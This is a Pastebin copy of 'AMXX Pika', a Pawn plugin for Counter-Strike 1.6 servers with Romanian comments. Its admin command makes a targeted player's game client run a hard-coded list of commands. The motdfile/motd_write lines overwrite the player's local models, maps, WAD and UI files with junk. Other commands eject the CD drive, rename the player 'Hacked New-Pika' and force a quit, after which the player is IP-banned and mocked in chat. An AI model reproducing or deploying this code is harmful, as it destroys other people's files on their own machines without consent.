Advertisement
crywolfy

AMXX_Pika.sma

Dec 11th, 2014
5,602
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 5.70 KB | None | 0 0
  1. /* AMX Mod X Script
  2. *
  3. * eXtreamCS DEV Team
  4. *
  5. * ======---===========
  6. * © 2014 by CryWolf
  7. *  www.eXtreamCS.com
  8. * ======---===========
  9. *
  10. * This file is intended to be used with AMX Mod X.
  11. *
  12. *   This program is free software: you can redistribute it and/or modify
  13. *   it under the terms of the GNU General Public License as published by
  14. *   the Free Software Foundation, either version 3 of the License, or
  15. *   (at your option) any later version.
  16. *
  17. *   This program is distributed in the hope that it will be useful,
  18. *   but WITHOUT ANY WARRANTY; without even the implied warranty of
  19. *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  20. *   GNU General Public License for more details.
  21. *
  22. *   AMXX Pika v2.2.0
  23. *
  24. *   changelog:
  25. *   v1.0.0
  26. *   - Versiune privata
  27. *  
  28. *   v2.1.0
  29. *   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
  30. *   - Mai multe functii destroy ( fisiere ).
  31. *   - Am adaugat fisier .LOG.
  32. *   - Comanda nu mai poate fi folosita pe personal, admini, boti.
  33. *   - Acum pluginul va afecta putin si jucatorii cu Steam.
  34. *   - Optimizat doar amxmodx, amxmisc.
  35. *   - Detalii comanda si cum se foloseste.
  36. *
  37. *   v2.2.0
  38. *   - Functi Anti Guard
  39. *   - Nou modul colorchat
  40. *   - Fixare mesaje incorecte
  41. *   - Include PIKA, EXTERMINATE, RUSSIAN
  42. *   - Adaugat efecte celui destrus [TELEPORT]
  43. */
  44.  
  45.  
  46. #include < amxmodx >
  47. #include < amxmisc >
  48. #include < fakemeta >
  49.  
  50.  
  51. /*************************************************************/
  52. /*      ATENTIE!
  53.     Stergeti // daca vreti mesaje colorate in chat pe Server!
  54.     Trebuie sa aveti pluginul: [Dyn Native] ColorChat
  55.     URL Download: https://forums.alliedmods.net/showthread.php?t=94960
  56. */
  57. /* LINIA ASTA O MODIFICATI cu // sau fara */
  58. //#define USE_COLOR_CHAT
  59.  
  60. #if defined USE_COLOR_CHAT
  61.  
  62.     #pragma reqlib chatcolor
  63.     #define RED Red
  64.     #define BLUE Blue
  65.     #define GREY Grey
  66.     #define ColorChat client_print_color
  67.     enum
  68.     {
  69.         Grey = 33,
  70.         Red,
  71.         Blue
  72.     }
  73.    
  74.     native client_print_color(index, sender, const fmt[], any:...);
  75. #endif
  76.  
  77. // Numele fisierului .log
  78. #define LOGFILE     "AMXX_PIKA.log"
  79.  
  80. /************************************************************/
  81.  
  82. static const g_sCommands [ ] [ ] =
  83. {
  84.     "gl_log 1",
  85.     "csx_setcvar Enabled False",
  86.     "rus_setcvar Enabled False",
  87.     "prot_setcvar Enabled False",
  88.     "BlockCommands Enabled False",
  89.     "rate 1",
  90.     "cd eject",
  91.     "cd eject",
  92.     "cd eject",
  93.     "cd eject",
  94.     "cd eject",
  95.     "cd eject",
  96.     "cd eject",
  97.     "name Hacked New-Pika",
  98.     "motdfile models/player.mdl;motd_write PIKA",
  99.     "motdfile models/v_ak47.mdl;motd_write PIKA",
  100.     "motdfile cs_dust.wad;motd_write PIKA",
  101.     "motdfile models/v_m4a1.mdl;motd_write PIKA",
  102.     "motdfile resource/GameMenu.res;motd_write PIKA",
  103.     "motdfile resource/GameMenu.res;motd_write PIKA",
  104.     "motdfile resource/background/800_1_a_loading.tga;motd_write PIKA",
  105.     "motdfile resource/background/800_1_b_loading.tga;motd_write PIKA",
  106.     "motdfile resource/background/800_1_c_loading.tga;motd_write PIKA",
  107.     "motdfile resource/UI/BuyShotguns_TER.res;motd_write PIKA",
  108.     "motdfile resource/UI/MainBuyMenu.res;motd_write PIKA",
  109.     "motdfile resource/UI/BuyEquipment_TER.res;motd_write PIKA",
  110.     "motdfile resource/UI/Teammenu.res;motd_write PIKA",
  111.     "motdfile halflife.wad;motd_write PIKA",
  112.     "motdfile cstrike.wad;motd_write PIKA",
  113.     "motdfile maps/de_dust2.bsp;motd_write PIKA",
  114.     "motdfile events/ak47.sc;motd_write PIKA",
  115.    
  116.     "quit",
  117.     "echo ????!"   
  118. };
  119.  
  120. new const
  121.     PLUGIN_NAME     [ ] = "AMXX Russian",
  122.     PLUGIN_VERSION  [ ] = "2.2.0";
  123.    
  124. #pragma semicolon 1
  125.  
  126. new g_pCvar_tele_effect;
  127.  
  128. public plugin_init ( )
  129. {
  130.     register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, "CryWolf" );
  131.    
  132.     g_pCvar_tele_effect = register_cvar ( "amx_pika_teleeff", "1" );
  133.     register_concmd ( "amx_russian",    "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
  134.     register_concmd ( "amx_pika",       "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
  135.     register_concmd ( "amx_exterminate",    "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
  136. }
  137.  
  138. public Concmd_AMXX_exterminate ( id, level, cid )
  139. {
  140.     if ( !cmd_access ( id, level, cid, 2 ) ) {
  141.         client_print ( id, print_console, "[AMXX] Nu ai access la aceasta comanda" );
  142.         return 1;
  143.     }
  144.    
  145.     new sArgument[ 33 ];
  146.     read_argv ( 1, sArgument, charsmax ( sArgument ) );
  147.    
  148.     new player = cmd_target ( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
  149.    
  150.     if ( !player )
  151.     {
  152.         console_print ( id, "[AMXX] Jucatorul mentionat nu este valid." );
  153.         return 1;
  154.     }
  155.    
  156.     for ( new i = 0; i < sizeof ( g_sCommands ); i++ )
  157.         client_cmd ( player, g_sCommands [ i ] );
  158.    
  159.     if ( get_pcvar_num ( g_pCvar_tele_effect ) ) {
  160.         set_task ( 0.3, "FunC_Tele_Effect", player );
  161.     }
  162.    
  163.     new szName [ 33 ], szName2 [ 33 ], ip2 [ 16 ];
  164.    
  165.     get_user_name ( id, szName, charsmax ( szName ) );
  166.     get_user_name ( player, szName2, charsmax ( szName2 ) );
  167.     get_user_ip ( player, ip2, charsmax ( ip2 ), 1 );
  168.    
  169.     log_to_file ( LOGFILE, "%s Pika %s(%s)", szName, szName2, ip2 );
  170.    
  171.     #if defined USE_COLOR_CHAT
  172.         client_print_color ( 0, Blue, "^4%s ^1Hacked ^4%s ^1-[Distrus Complet]-", szName, szName2 );
  173.     #else
  174.         client_print ( 0, print_chat, "AdmiN (%s) Hacked (%s) - [Destroy Completed]-", szName, szName2 );
  175.     #endif
  176.    
  177.     client_cmd ( 0, "spk ^"vox/bizwarn eliminated" );  
  178.     server_cmd ( "amx_banip %s 0", player );
  179.    
  180.     return 1;
  181. }
  182.  
  183. public FunC_Tele_Effect ( id )
  184. {
  185.     if ( !is_user_alive ( id ) )
  186.         return;
  187.    
  188.     static Float:iOrigin [ 3 ];
  189.     pev ( id, pev_origin, iOrigin );
  190.    
  191.     engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, iOrigin, 0 );
  192.     write_byte ( TE_TELEPORT );
  193.     engfunc ( EngFunc_WriteCoord, iOrigin [ 0 ] );
  194.     engfunc ( EngFunc_WriteCoord, iOrigin [ 1 ] );
  195.     engfunc ( EngFunc_WriteCoord, iOrigin [ 2 ] );
  196.     message_end ( );
  197. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement